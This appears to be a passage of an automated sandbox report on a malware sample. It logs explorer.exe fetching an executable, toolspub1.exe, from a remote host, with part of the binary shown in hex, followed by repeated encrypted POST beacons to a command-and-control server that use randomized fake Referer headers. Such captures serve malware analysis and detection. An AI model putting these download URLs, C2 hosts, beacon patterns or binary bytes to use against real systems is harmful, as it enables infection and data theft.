                                                                                                                                                                                                                                                              Data Raw: 33 64 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f c6 86 4a 06 65 16 e3 ad 85 ab a2 14 b6 49 90 61 b8 5b 10 90 0a e6 e7 25 ef 2b 51 0d f3 ed d3 40 e1 12 99 07 84 ff 39 d0 6a ba 0d 0a 30 0d 0a 0d 0a
                                                                                                                                                                                                                                                              Data Ascii: 3dI:82OJeIa[%+Q@9j0


                                                                                                                                                                                                                                                              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                                              4192.168.2.549716185.12.126.182801028C:\Windows\explorer.exe
                                                                                                                                                                                                                                                              TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:18.793466091 CET179OUTGET /downloads/toolspub1.exe HTTP/1.1
                                                                                                                                                                                                                                                              Connection: Keep-Alive
                                                                                                                                                                                                                                                              User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
                                                                                                                                                                                                                                                              Host: galandskiyher5.com
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:19.054518938 CET1286INHTTP/1.1 200 OK
                                                                                                                                                                                                                                                              Server: nginx/1.20.2
                                                                                                                                                                                                                                                              Date: Thu, 08 Feb 2024 19:17:18 GMT
                                                                                                                                                                                                                                                              Content-Type: application/x-msdos-program
                                                                                                                                                                                                                                                              Content-Length: 174592
                                                                                                                                                                                                                                                              Connection: close
                                                                                                                                                                                                                                                              Last-Modified: Thu, 08 Feb 2024 19:17:02 GMT
                                                                                                                                                                                                                                                              ETag: "2aa00-610e3a7fcf9a7"
                                                                                                                                                                                                                                                              Accept-Ranges: bytes
                                                                                                                                                                                                                                                              Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 f6 a1 83 dd b2 c0 ed 8e b2 c0 ed 8e b2 c0 ed 8e dd b6 46 8e a7 c0 ed 8e dd b6 73 8e a1 c0 ed 8e dd b6 47 8e ea c0 ed 8e bb b8 7e 8e b7 c0 ed 8e b2 c0 ec 8e d1 c0 ed 8e dd b6 42 8e b3 c0 ed 8e dd b6 77 8e b3 c0 ed 8e dd b6 70 8e b3 c0 ed 8e 52 69 63 68 b2 c0 ed 8e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 08 00 6b 05 61 64 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 0a 00 00 26 02 00 00 34 7b 02 00 00 00 00 ac 14 00 00 00 10 00 00 00 40 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 70 7d 02 00 04 00 00 cb bc 02 00 02 00 00 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 24 68 02 00 3c 00 00 00 00 50 7d 02 30 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 58 65 02 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 02 00 94 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 b2 25 02 00 00 10 00 00 00 26 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 98 31 00 00 00 40 02 00 00 32 00 00 00 2a 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 80 85 7a 02 00 80 02 00 00 1e 00 00 00 5c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 76 61 6b 65 67 00 00 7c 00 00 00 00 10 7d 02 00 02 00 00 00 7a 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 74 6c 73 00 00 00 00 cd 09 00 00 00 20 7d 02 00 0a 00 00 00 7c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 66 69 67 00 00 00 00 0c 00 00 00 00 30 7d 02 00 02 00 00 00 86 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 66 61 74 69 78 61 00 00 04 00 00 00 40 7d 02 00 04 00 00 00 88 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 30 1c 00 00 00 50 7d 02 00 1e 00 00 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d9
                                                                                                                                                                                                                                                              Data Ascii: MZ@!L!This program cannot be run in DOS mode.$FsG~BwpRichPELkad&4{@@p}$h<P}0Xe@.text%& `.rdata1@2*@@.dataz\@.vakeg|}z@.tls }|@.fig0}@@.fatixa@}@.rsrc0P}@@
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:19.054569960 CET1286INData Raw: ee d9 fe c3 cc cc cc cc cc cc cc cc cc cc cc d9 ee 83 ec 08 dd 1c 24 e8 f3 63 01 00 83 c4 08 c3 cc ff 25 00 40 42 00 ff 25 04 40 42 00 ff 25 08 40 42 00 ff 25 0c 40 42 00 ff 25 10 40 42 00 ff 25 14 40 42 00 ff 25 18 40 42 00 ff 25 1c 40 42 00 ff
                                                                                                                                                                                                                                                              Data Ascii: $c%@B%@B%@B%@B%@B%@B%@B%@B% @B%$@B%(@B%,@B%0@B%4@B%8@B%<@B%@@B%D@B%H@B%L@B%P@B%T@B%X@B%\@B%`@B%d@B%h@B%l@B%p@B%t@B%x@B%|@B%@B%@B%@B
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:19.054586887 CET1286INData Raw: 66 8c 2d 94 9e 42 00 9c 8f 05 c8 9e 42 00 8b 45 00 a3 bc 9e 42 00 8b 45 04 a3 c0 9e 42 00 8d 45 08 a3 cc 9e 42 00 8b 85 e0 fc ff ff c7 05 08 9e 42 00 01 00 01 00 a1 c0 9e 42 00 a3 bc 9d 42 00 c7 05 b0 9d 42 00 09 04 00 c0 c7 05 b4 9d 42 00 01 00
                                                                                                                                                                                                                                                              Data Ascii: f-BBEBEBEBBBBBBBB@BBj+Yj@BhAB@B=BujYh@BP@BUE3;BtA-rHwjX]B]DjY;#
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:19.054604053 CET1286INData Raw: 7d 17 00 00 6a 16 58 5d c3 a1 00 a1 42 00 85 c0 74 e2 89 01 33 c0 5d c3 8b ff 55 8b ec 8b 4d 08 85 c9 75 15 e8 c8 fb ff ff c7 00 16 00 00 00 e8 4d 17 00 00 6a 16 58 5d c3 a1 fc a0 42 00 85 c0 74 e2 89 01 33 c0 5d c3 8b ff 55 8b ec 83 3d 28 5a 42
                                                                                                                                                                                                                                                              Data Ascii: }jX]Bt3]UMuMjX]Bt3]U=(ZBth(ZB$Ytu(ZBY#hABhABAYYuTVWh)@ABABY;st;r=t_^tht9$Ytjjjt3]j heBjY
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:19.054622889 CET1286INData Raw: ec 83 7d 08 00 74 14 ff 75 1c ff 75 18 ff 75 14 ff 75 10 ff 75 0c e8 f4 11 00 00 5d c3 8b ff 55 8b ec 33 c0 8b 4d 08 3b 0c c5 88 4a 42 00 74 0a 40 83 f8 16 72 ee 33 c0 5d c3 8b 04 c5 8c 4a 42 00 5d c3 8b ff 55 8b ec 81 ec fc 01 00 00 a1 04 80 42
                                                                                                                                                                                                                                                              Data Ascii: }tuuuuu]U3M;JBt@r3]JB]UB3ESVuWV3Y;ljV%YjE%Yu=B6hKBhBW$hBBVSfJB@BuhKB
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:19.054639101 CET1286INData Raw: ff 55 8b ec 51 8b 4d 10 53 33 c0 56 89 07 8b f2 8b 55 0c c7 01 01 00 00 00 39 45 08 74 09 8b 5d 08 83 45 08 04 89 13 89 45 fc 80 3e 22 75 10 33 c0 39 45 fc b3 22 0f 94 c0 46 89 45 fc eb 3c ff 07 85 d2 74 08 8a 06 88 02 42 89 55 0c 8a 1e 0f b6 c3
                                                                                                                                                                                                                                                              Data Ascii: UQMS3VU9Et]EE>"u39E"FE<tBUPFg#Yt}tMEFUMt2}u tutBe>< t<uFN>}tEE3C3FA>\t>"u&u}tF8"u
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:19.054655075 CET1286INData Raw: 04 40 c7 06 fe ff ff ff 43 83 fb 03 0f 8c 68 ff ff ff ff 35 5c 04 bd 02 ff 15 04 41 42 00 33 c0 5f 5b 5e c9 c3 83 c8 ff eb f6 8b ff 56 57 bf 60 04 bd 02 8b 07 85 c0 74 36 8d 88 00 08 00 00 3b c1 73 21 8d 70 0c 83 7e fc 00 74 07 56 ff 15 10 41 42
                                                                                                                                                                                                                                                              Data Ascii: @Ch5\AB3_[^VW`t6;s!p~tVAB@N;r7'Y`|_^VeBeBW;st;r_^VeBeBW;st;r_^j@BABUu5BAB]
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:19.054672003 CET1286INData Raw: 05 40 a8 42 00 f1 29 40 00 89 35 48 a8 42 00 a3 4c a8 42 00 ff 15 14 41 42 00 a3 c4 81 42 00 83 f8 ff 0f 84 c1 00 00 00 ff 35 44 a8 42 00 50 ff d6 85 c0 0f 84 b0 00 00 00 e8 1e eb ff ff ff 35 40 a8 42 00 8b 35 a8 40 42 00 ff d6 ff 35 44 a8 42 00
                                                                                                                                                                                                                                                              Data Ascii: @B)@5HBLBABB5DBP5@B5@B5DB@B5HBDB5LBHBLBtc=@Bh+@5@BBtDhj<YYt0V5B5HBtjVYY(ABN3@]3^_U
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:19.054687977 CET1286INData Raw: 5b 5d c3 8b ff 55 8b ec 83 7d 08 00 75 0b ff 75 0c e8 59 ff ff ff 59 5d c3 56 8b 75 0c 85 f6 75 0d ff 75 08 e8 c7 dd ff ff 59 33 c0 eb 4d 57 eb 30 85 f6 75 01 46 56 ff 75 08 6a 00 ff 35 d4 a0 42 00 ff 15 3c 41 42 00 8b f8 85 ff 75 5e 39 05 58 a8
                                                                                                                                                                                                                                                              Data Ascii: []U}uuYY]VuuuY3MW0uFVuj5B<ABu^9XBt@VYtvVYa3_^]P@BPY8@BPYUMS3;vj3X;Es3AMVW9]tuYV
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:19.054708004 CET1286INData Raw: 39 7e 5c 75 27 ff 35 90 4c 42 00 e8 87 df ff ff 59 89 46 5c 85 c0 0f 84 74 01 00 00 ff 35 90 4c 42 00 57 50 e8 c6 1b 00 00 83 c4 0c ff 76 5c 8b d3 e8 f6 fe ff ff 59 85 c0 0f 84 51 01 00 00 8b 48 08 89 4d e4 8b 4d 0c 83 f9 02 0f 84 2e 01 00 00 83
                                                                                                                                                                                                                                                              Data Ascii: 9~\u'5LBYF\t5LBWPv\YQHMM.HLBkV\x;9tj'Ye;tu>=Bu5jh6@LAB3A;uB%@BEu+tyttNt(H5B
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:19.308451891 CET1286INData Raw: 14 ff 75 10 ff b5 78 ff ff ff e8 00 1c 00 00 8b f0 83 c4 14 85 f6 74 1a 6a 01 56 e8 b6 da ff ff 89 07 33 ff 59 59 3b c7 75 21 39 bd 74 ff ff ff 74 07 53 e8 ac d3 ff ff 59 83 c8 ff 8b 4d fc 5f 5e 33 cd 5b e8 8c d3 ff ff c9 c3 8d 4e ff 51 53 56 50
                                                                                                                                                                                                                                                              Data Ascii: uxtjV3YY;u!9ttSYM_^3[NQSVPu9ttSxY3WWWWWp}uH5<@B3PPuutjS3YYtSPuuu7$'Yp}fxjxPE Pu<@


                                                                                                                                                                                                                                                              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                                              5192.168.2.549717185.12.126.182801028C:\Windows\explorer.exe
                                                                                                                                                                                                                                                              TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:20.307275057 CET284OUTPOST /index.php HTTP/1.1
                                                                                                                                                                                                                                                              Connection: Keep-Alive
                                                                                                                                                                                                                                                              Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                                                                              Accept: */*
                                                                                                                                                                                                                                                              Referer: http://vcuyqwosctxpct.com/
                                                                                                                                                                                                                                                              User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
                                                                                                                                                                                                                                                              Content-Length: 197
                                                                                                                                                                                                                                                              Host: trad-einmyus.com
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:20.307297945 CET197OUTData Raw: 12 87 80 90 1b f9 a7 b2 bf 3a 09 37 7d c3 ec 8f 32 14 dd 30 d7 41 6e 91 b8 ea a7 85 f9 d0 9a 85 6d b3 2c a0 6f 19 cd e1 9c df f3 d8 d9 95 15 05 6b 98 69 fc e4 ec aa 80 eb 5c bd d2 e4 d8 46 d4 75 24 f3 c4 84 de 9c 66 5d 02 c9 a1 c1 64 15 a4 a7 7d
                                                                                                                                                                                                                                                              Data Ascii: :7}20Anm,oki\Fu$f]d}$LnipUxa^#HkKun;e,}9c-$)UFrqy<UYMU3%["B&af!fVRA'@G
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:20.572221994 CET597INHTTP/1.1 404 Not Found
                                                                                                                                                                                                                                                              Server: nginx/1.20.2
                                                                                                                                                                                                                                                              Date: Thu, 08 Feb 2024 19:17:20 GMT
                                                                                                                                                                                                                                                              Content-Type: text/html; charset=utf-8
                                                                                                                                                                                                                                                              Transfer-Encoding: chunked
                                                                                                                                                                                                                                                              Connection: close
                                                                                                                                                                                                                                                              Data Raw: 31 39 64 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 74 72 61 64 2d 65 69 6e 6d 79 75 73 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a
                                                                                                                                                                                                                                                              Data Ascii: 19d<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at trad-einmyus.com Port 80</address></body></html>0


                                                                                                                                                                                                                                                              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                                              6192.168.2.549718185.12.126.182801028C:\Windows\explorer.exe
                                                                                                                                                                                                                                                              TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:20.842678070 CET282OUTPOST /index.php HTTP/1.1
                                                                                                                                                                                                                                                              Connection: Keep-Alive
                                                                                                                                                                                                                                                              Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                                                                              Accept: */*
                                                                                                                                                                                                                                                              Referer: http://jklybocgmuql.org/
                                                                                                                                                                                                                                                              User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
                                                                                                                                                                                                                                                              Content-Length: 276
                                                                                                                                                                                                                                                              Host: trad-einmyus.com
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:20.842714071 CET276OUTData Raw: 12 87 80 90 1b f9 a7 b2 bf 3a 09 37 7d c3 ec 8f 32 14 dd 30 d7 41 6e 91 b8 ea a7 85 f9 d0 9a 85 6d b3 2c a0 6f 19 cd e1 9c df f3 d8 d9 95 15 05 6b 98 69 fc e4 ec aa 80 eb 5c bd d2 e4 d8 46 d4 75 24 f3 c4 85 de 9d 66 5d 02 c8 a1 c1 64 56 ca 8d 20
                                                                                                                                                                                                                                                              Data Ascii: :7}20Anm,oki\Fu$f]dV &zmm"IcV{4{"[`.@V{}\j}J/_.Us~6GlT^Q@uo"{{[k_,A T-3be&~^%-+a2zX
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:21.091938972 CET156INHTTP/1.1 200 OK
                                                                                                                                                                                                                                                              Server: nginx/1.20.2
                                                                                                                                                                                                                                                              Date: Thu, 08 Feb 2024 19:17:20 GMT
                                                                                                                                                                                                                                                              Content-Type: text/html; charset=utf-8
                                                                                                                                                                                                                                                              Content-Length: 0
                                                                                                                                                                                                                                                              Connection: close


                                                                                                                                                                                                                                                              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                                              7192.168.2.549719185.12.126.182801028C:\Windows\explorer.exe
                                                                                                                                                                                                                                                              TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:21.338439941 CET281OUTPOST /index.php HTTP/1.1
                                                                                                                                                                                                                                                              Connection: Keep-Alive
                                                                                                                                                                                                                                                              Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                                                                              Accept: */*
                                                                                                                                                                                                                                                              Referer: http://erckiyttkvn.com/
                                                                                                                                                                                                                                                              User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
                                                                                                                                                                                                                                                              Content-Length: 189
                                                                                                                                                                                                                                                              Host: trad-einmyus.com
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:21.338480949 CET189OUTData Raw: 12 87 80 90 1b f9 a7 b2 bf 3a 09 37 7d c3 ec 8f 32 14 dd 30 d7 41 6e 91 b8 ea a7 85 f9 d0 9a 85 6d b3 2c a0 6f 19 cd e1 9c df f3 d8 d9 95 15 05 6b 98 69 fc e4 ec aa 80 eb 5c bd d2 e4 d8 46 d4 75 24 f3 c4 85 de 9a 66 5d 02 c8 a1 c1 64 26 d8 99 7e
                                                                                                                                                                                                                                                              Data Ascii: :7}20Anm,oki\Fu$f]d&~PznR}Ja9h(hJA`^!{)"`2)Y1 QJY=PCTWryz,rMzv|
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:21.587008953 CET156INHTTP/1.1 200 OK
                                                                                                                                                                                                                                                              Server: nginx/1.20.2
                                                                                                                                                                                                                                                              Date: Thu, 08 Feb 2024 19:17:21 GMT
                                                                                                                                                                                                                                                              Content-Type: text/html; charset=utf-8
                                                                                                                                                                                                                                                              Content-Length: 0
                                                                                                                                                                                                                                                              Connection: close


                                                                                                                                                                                                                                                              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                                              8192.168.2.549720185.12.126.182801028C:\Windows\explorer.exe
                                                                                                                                                                                                                                                              TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:21.843708992 CET285OUTPOST /index.php HTTP/1.1
                                                                                                                                                                                                                                                              Connection: Keep-Alive
                                                                                                                                                                                                                                                              Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                                                                              Accept: */*
                                                                                                                                                                                                                                                              Referer: http://gqrtwtgxjlqjalx.com/
                                                                                                                                                                                                                                                              User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
                                                                                                                                                                                                                                                              Content-Length: 302
                                                                                                                                                                                                                                                              Host: trad-einmyus.com
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:21.843816996 CET302OUTData Raw: 12 87 80 90 1b f9 a7 b2 bf 3a 09 37 7d c3 ec 8f 32 14 dd 30 d7 41 6e 91 b8 ea a7 85 f9 d0 9a 85 6d b3 2c a0 6f 19 cd e1 9c df f3 d8 d9 95 15 05 6b 98 69 fc e4 ec aa 80 eb 5c bd d2 e4 d8 46 d4 75 24 f3 c4 85 de 9b 66 5d 02 c8 a1 c1 64 34 9b b3 64
                                                                                                                                                                                                                                                              Data Ascii: :7}20Anm,oki\Fu$f]d4dZ?#_V^>-dJHv2|l.(,y6v]"~h1"R}18pH?5]z$AVKK@Q'V'?*#AaVbDMY5 slaP7C
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:22.132260084 CET156INHTTP/1.1 200 OK
                                                                                                                                                                                                                                                              Server: nginx/1.20.2
                                                                                                                                                                                                                                                              Date: Thu, 08 Feb 2024 19:17:22 GMT
                                                                                                                                                                                                                                                              Content-Type: text/html; charset=utf-8
                                                                                                                                                                                                                                                              Content-Length: 0
                                                                                                                                                                                                                                                              Connection: close


                                                                                                                                                                                                                                                              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                                              9192.168.2.549721185.12.126.182801028C:\Windows\explorer.exe
                                                                                                                                                                                                                                                              TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:22.381426096 CET286OUTPOST /index.php HTTP/1.1
                                                                                                                                                                                                                                                              Connection: Keep-Alive
                                                                                                                                                                                                                                                              Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                                                                              Accept: */*
                                                                                                                                                                                                                                                              Referer: http://fssoqbnymqgaqwvj.com/
                                                                                                                                                                                                                                                              User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
                                                                                                                                                                                                                                                              Content-Length: 266
                                                                                                                                                                                                                                                              Host: trad-einmyus.com
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:22.381478071 CET266OUTData Raw: 12 87 80 90 1b f9 a7 b2 bf 3a 09 37 7d c3 ec 8f 32 14 dd 30 d7 41 6e 91 b8 ea a7 85 f9 d0 9a 85 6d b3 2c a0 6f 19 cd e1 9c df f3 d8 d9 95 15 05 6b 98 69 fc e4 ec aa 80 eb 5c bd d2 e4 d8 46 d4 75 24 f3 c4 85 de 98 66 5d 02 c8 a1 c1 64 1a d4 ca 18
                                                                                                                                                                                                                                                              Data Ascii: :7}20Anm,oki\Fu$f]d:F+&{NqP7ec!F%o-[;6\:X&KVY?fgL]EdCcIhzo'o{N.[VL-hY7-|"-RF!\7K|ID,
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:22.630553961 CET156INHTTP/1.1 200 OK
                                                                                                                                                                                                                                                              Server: nginx/1.20.2
                                                                                                                                                                                                                                                              Date: Thu, 08 Feb 2024 19:17:22 GMT
                                                                                                                                                                                                                                                              Content-Type: text/html; charset=utf-8
                                                                                                                                                                                                                                                              Content-Length: 0
                                                                                                                                                                                                                                                              Connection: close


                                                                                                                                                                                                                                                              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                                              10192.168.2.549722185.12.126.182801028C:\Windows\explorer.exe
                                                                                                                                                                                                                                                              TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:22.966962099 CET282OUTPOST /index.php HTTP/1.1
                                                                                                                                                                                                                                                              Connection: Keep-Alive
                                                                                                                                                                                                                                                              Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                                                                              Accept: */*
                                                                                                                                                                                                                                                              Referer: http://gcunoloxmera.com/
                                                                                                                                                                                                                                                              User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
                                                                                                                                                                                                                                                              Content-Length: 158
                                                                                                                                                                                                                                                              Host: trad-einmyus.com
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:22.967008114 CET158OUTData Raw: 12 87 80 90 1b f9 a7 b2 bf 3a 09 37 7d c3 ec 8f 32 14 dd 30 d7 41 6e 91 b8 ea a7 85 f9 d0 9a 85 6d b3 2c a0 6f 19 cd e1 9c df f3 d8 d9 95 15 05 6b 98 69 fc e4 ec aa 80 eb 5c bd d2 e4 d8 46 d4 75 24 f3 c4 85 de 99 66 5d 02 c8 a1 c1 64 20 92 d3 34
                                                                                                                                                                                                                                                              Data Ascii: :7}20Anm,oki\Fu$f]d 4\bg^oPw}[nx>A=(M&s]V_H&q!}E-M5s^
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:23.231720924 CET156INHTTP/1.1 200 OK
                                                                                                                                                                                                                                                              Server: nginx/1.20.2
                                                                                                                                                                                                                                                              Date: Thu, 08 Feb 2024 19:17:23 GMT
                                                                                                                                                                                                                                                              Content-Type: text/html; charset=utf-8
                                                                                                                                                                                                                                                              Content-Length: 0
                                                                                                                                                                                                                                                              Connection: close


                                                                                                                                                                                                                                                              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                                              11192.168.2.549723185.12.126.182801028C:\Windows\explorer.exe
                                                                                                                                                                                                                                                              TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:24.945600986 CET282OUTPOST /index.php HTTP/1.1
                                                                                                                                                                                                                                                              Connection: Keep-Alive
                                                                                                                                                                                                                                                              Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                                                                              Accept: */*
                                                                                                                                                                                                                                                              Referer: http://yfkhgidybuux.org/
                                                                                                                                                                                                                                                              User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
                                                                                                                                                                                                                                                              Content-Length: 223
                                                                                                                                                                                                                                                              Host: trad-einmyus.com
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:24.945633888 CET223OUTData Raw: 12 87 80 90 1b f9 a7 b2 bf 3a 09 37 7d c3 ec 8f 32 14 dd 30 d7 41 6e 91 b8 ea a7 85 f9 d0 9a 85 6d b3 2c a0 6f 19 cd e1 9c df f3 d8 d9 95 15 05 6b 98 69 fc e4 ec aa 80 eb 5c bd d2 e4 d8 46 d4 75 24 f3 c4 85 de 96 66 5d 02 c8 a1 c1 64 1d c6 be 18
                                                                                                                                                                                                                                                              Data Ascii: :7}20Anm,oki\Fu$f]dE09[Glx-K!ke|Q|x[K_&lZv`BH|CL3K|?6J7~nt:&e}^BwX8hyYsAoT
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:25.201003075 CET597INHTTP/1.1 404 Not Found
                                                                                                                                                                                                                                                              Server: nginx/1.20.2
                                                                                                                                                                                                                                                              Date: Thu, 08 Feb 2024 19:17:25 GMT
                                                                                                                                                                                                                                                              Content-Type: text/html; charset=utf-8
                                                                                                                                                                                                                                                              Transfer-Encoding: chunked
                                                                                                                                                                                                                                                              Connection: close
